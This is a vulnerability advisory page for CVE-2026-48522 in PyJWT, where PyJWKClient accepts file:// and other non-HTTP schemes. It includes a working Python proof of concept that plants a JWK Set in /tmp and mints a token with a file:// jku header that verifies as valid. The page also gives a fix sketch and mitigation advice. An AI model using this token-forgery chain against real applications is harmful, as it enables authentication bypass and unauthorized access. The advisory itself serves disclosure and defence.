Skip to main content
EPSS 0.2%top 87%

CVE-2026-48522: CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') in jpadilla pyjwt

0
Medium
Published: 07/24/2026 (07/24/2026, 01:01:56 UTC)
Source: CVE Database V5
Vendor/Project: jpadilla
Product: pyjwt

Description

> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only oper

CVSS v3.1

Score 4.2medium

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected software

jpadilla

pyjwt

Affected versions
<2.13.0
pyjwt
pkg:pypi/pyjwt
Affected versions
<2.13.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/01/2026, 21:28:46 UTC

Technical Analysis

PyJWKClient in PyJWT passes the jku URI directly to urllib.request.urlopen(), which by default supports HTTP, HTTPS, FTP, file, and data schemes. There is no built-in restriction on allowed URI schemes. If an attacker can supply a jku URL with a file:// scheme and write to the referenced local file path, they can plant a malicious JWKS containing their own public key. Tokens signed with the corresponding private key will then be accepted as valid by jwt.decode(). This behavior is unique to PyJWT among similar JWT libraries, which reject non-http(s) schemes. The vulnerability affects PyJWT versions prior to 2.13.0. The recommended fix is to add an allowed_schemes parameter to PyJWKClient to restrict URI schemes to http and https, raising an error for disallowed schemes before fetching.

Potential Impact

An attacker able to influence the jku URL and write to the referenced file path can cause the application to load attacker-controlled keys, enabling token forgery that bypasses signature verification. This can lead to unauthorized access or privilege escalation. The vulnerability also broadens the SSRF attack surface by allowing FTP and data URI fetches. The CVSS score is 4.2 (medium severity) reflecting the requirement for attacker write access and user interaction.

Mitigation Recommendations

A patch is available in PyJWT 2.13.0 that adds scheme validation to PyJWKClient, restricting allowed URI schemes to http and https by default. Applications should upgrade to PyJWT 2.13.0 or later. Until upgraded, applications should implement strict validation of jku URLs to reject non-http(s) schemes and ensure untrusted input cannot control jku values or write to local files referenced by jku. The vendor manages remediation for this cloud-hosted service; check the vendor advisory for confirmation.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
GitHub_M
Date Reserved
2026-05-21T16:18:10.619Z
Cvss Version
3.1
State
PUBLISHED
Is Cloud Service
true

Threat ID: 6a186056e29bf47b500b42d2

Added to database: 05/28/2026, 15:33:42 UTC

Last enriched: 08/01/2026, 21:28:46 UTC

Last updated: 09/13/2026, 10:01:31 UTC

Views: 89

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses